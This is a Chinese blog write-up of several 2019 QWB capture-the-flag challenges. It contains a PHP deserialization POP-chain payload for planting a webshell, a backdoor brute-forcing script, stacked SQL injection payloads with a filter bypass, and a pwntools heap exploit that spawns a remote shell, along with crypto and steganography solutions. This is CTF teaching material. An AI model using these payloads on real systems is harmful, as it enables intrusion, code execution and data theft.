强网杯2019部分Writeup

upload

正常注册登录进去是一个上传文件的页面,并且发现header cookie中多了一个user,是一段base64加密的序列化字符串。再上传页面试了一波上传文件的操作都没找到什么突破口。之后扫了扫网站目录发现了www.tar.gz文件。

审计网站源码,在/application/web/controller/下的Index.php发现反序列化的地方

在Profile.php文件中发现有一个copy操作可复制文件,可利用这一点来将我们上传的图片马改为php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}

if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

首先生成图片马

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace app\web\controller;

class Profile{
public $filename_tmp = './upload/ddc98a6700dc0bc43925665763fcf036/f3ccdd27d2000e3f9255a7e3e2c48800.png';
public $filename = './upload/ddc98a6700dc0bc43925665763fcf036/cryscat.php';
public $ext = 1;
public $except = array('index'=>'upload_img');
}

class Register{
public $checker;
public $registed = 0;
public function __construct(){
$this->checker = new Profile();
}
}

$a = new Register();
$res = serialize($a);
print($res);
print(base64_encode($res));
?>

pop链1: Register->__destruct—> Register->checker->index()—>Profile->__call—>Profile->__get—>upload_img()—>copy

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace app\web\controller;

class Profile{
public $filename_tmp = './upload/ddc98a6700dc0bc43925665763fcf036/f3ccdd27d2000e3f9255a7e3e2c48800.png';
public $filename = './upload/ddc98a6700dc0bc43925665763fcf036/cryscat.php';
public $ext = 1;
public $index = 'upload_img';
}

class Register{
public $checker;
public $registed = 0;
public function __construct(){
$this->checker = new Profile();
}
}

$a = new Register();
$res = serialize($a);
print($res);
print(base64_encode($res));
?>

pop链2: Register->__destruct—> Register->checker->index()—>Profile->__call—>upload_img()—>copy

复制base64部分替换cookie中user的值,直接刷新页面即可

图片马重命名成功

高明的黑客

主页直接提示了www.tar.gz文件,解压下来有三千多个php文件……大致翻看了几个文件感觉这一题就是单纯的找后门。遍历文件,将每个文件的GET或者POST方式获得的参数名提取出来,赋值爆破出后门密码。这里我选取了代码执行和命令执行都通用的echo命令。

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os
import re
import requests as r

files = os.listdir('/Library/WebServer/Documents/src/')
method = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
flag = 0

for i in files:
content = open('/Library/WebServer/Documents/src/'+i,'r').read()
print('*'*20+i+'*'*20)
gepost = method.findall(content)
url = 'http://127.0.0.1/src/'
cmd = '=echo "cryscat";'
for j in gepost:
if 'GET' in j:
pdget = re.findall(r"'(.*)'",j)[0]
urlg = url+i+'?'+pdget+cmd
res = r.get(urlg)
print('------> '+pdget)
if 'cryscat' in res.text:
print('Success!!! ------> '+urlg)
flag = 1
break

if 'POST' in j:
pdpost = re.findall(r"'(.*)'",j)[0]
data = {
pdpost:cmd
}
urlp = url+i
res = r.post(urlp,data=data)
print('------> '+pdpost)
if 'cryscat' in res.text:
print('Success!!! ------> '+urlp+' '+data)
flag = 1
break

if flag == 1:
break

结果

另外本题还可以用vld插件提取每一个文件的opcode,最终只会看到一个动态函数执行,这就是后门文件

随便注

本题一开始我注出了表名supersqli,后续测试发现:

1
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

禁用了select确实不是一个常规的sql注入……
可堆叠注入:

1’;show tables;

1’;show create table `1919810931114514`

可见flag就在1919810931114514表中,但是该怎么查出内容呢。
主页的查询是按id在words表中进行字段内容查询的,根据这一点我们可以将flag所在的表名改为words,由此查出flag(注意此时flag所在表也需要存在id列)

payload:

1’;alter table `1919810931114514` add id int default ‘1’;alter table words rename test;alter table `1919810931114514` rename words;

-—————————————————————————–
以下姿势来自Mochazz师傅
预编译构造带有 select 的 sql 语句

1’;Set @sql=concat(‘sel’,’ect * from 1919810931114514‘); prepare presql from @sql; execute presql; deallocate prepare presql;
(Set大写绕过strstr)

强网先锋-上单

发现/1/runtime/log/201903/12.log日志文件中存在th5远程代码执行的payload,猜测本题是通过此payload getshell

强网先锋-AP

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.log_level = 'debug'
# p = process("./task_main")
#e = ELF('./task_main')
p = remote('117.78.60.139', '31278')


def getT(size, name):
p.recvuntil("Choice >> \n")
p.sendline('1')
p.recvuntil("name:\n")
p.sendline(str(size))
p.recvuntil("name:\n")
p.sendline(name)


def changeT(index, size, name):
p.recvuntil("Choice >> \n")
p.sendline('3')
p.recvuntil("name?\n")
p.sendline(str(index))
p.recvuntil("name:\n")
p.sendline(str(size))
p.recvuntil("name:\n")
p.send(name)
p.recvuntil("name!")


def openT(index):
p.recvuntil("Choice >> \n")
p.sendline("2")
p.recvuntil("open?\n")
p.sendline(str(index))


getT(10, '123')
getT(10, '/bin/sh')
changeT(0, 50, 'a'*32)
openT(0)
p.recvuntil('a'*32)
binsh = puts = u64(p.recv(6)+'\x00\x00')
print hex(binsh)
changeT(0, 50, 'a'*40)
openT(0)
p.recvuntil('a'*40)
puts = u64(p.recv(6)+'\x00\x00')
libc = puts-0x6F690
print hex(libc)
system = libc+0x45390
changeT(0, 100, 'a'*32+p64(binsh)+p64(system))
openT(1)
p.interactive()

强网先锋-AD

跟进加密函数,发现是base64加密
此语句相当于v4 i ≠ v5 i,所以是从v5开始对比

从v5开始提出字符,解密获得flag

强网先锋-辅助

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from gmpy2 import *
from Crypto.Util.number import bytes_to_long,long_to_bytes
e=mpz(65537)
c1=mpz(2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597)
n1=mpz(14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727)

c2=mpz(3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594483217938833520220087230303470138525970468915511111320396185482564783975435346354440035776909781158407636044986403819840648379609630039348895415045723208843631191252142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587269632133595149294067490955644893402708720284179715002149224068928828656515326446881791228638008572889331511945042911372915003805505412099102954073299010951896955362470)
n2=mpz(14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979)
m2=mpz(bytes_to_long("1"*32))

q=gcd(n1,n2)
p1=n1/q
r1=(p1-1)*(q-1)
d1=invert(e,r1)

m=pow(c1,d1,n1)
print(long_to_bytes(m))

强网先锋-打野

附件是一张bmp图片,LSB隐写
可通过LSB_hide工具直接提取出信息

也可以用zsteg

文章作者: Cryscat
文章链接: http://www.cryscat.com/2019/05/27/强网杯2019部分Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Cryscat's Blog
打赏
  • 微信
  • 支付宝

评论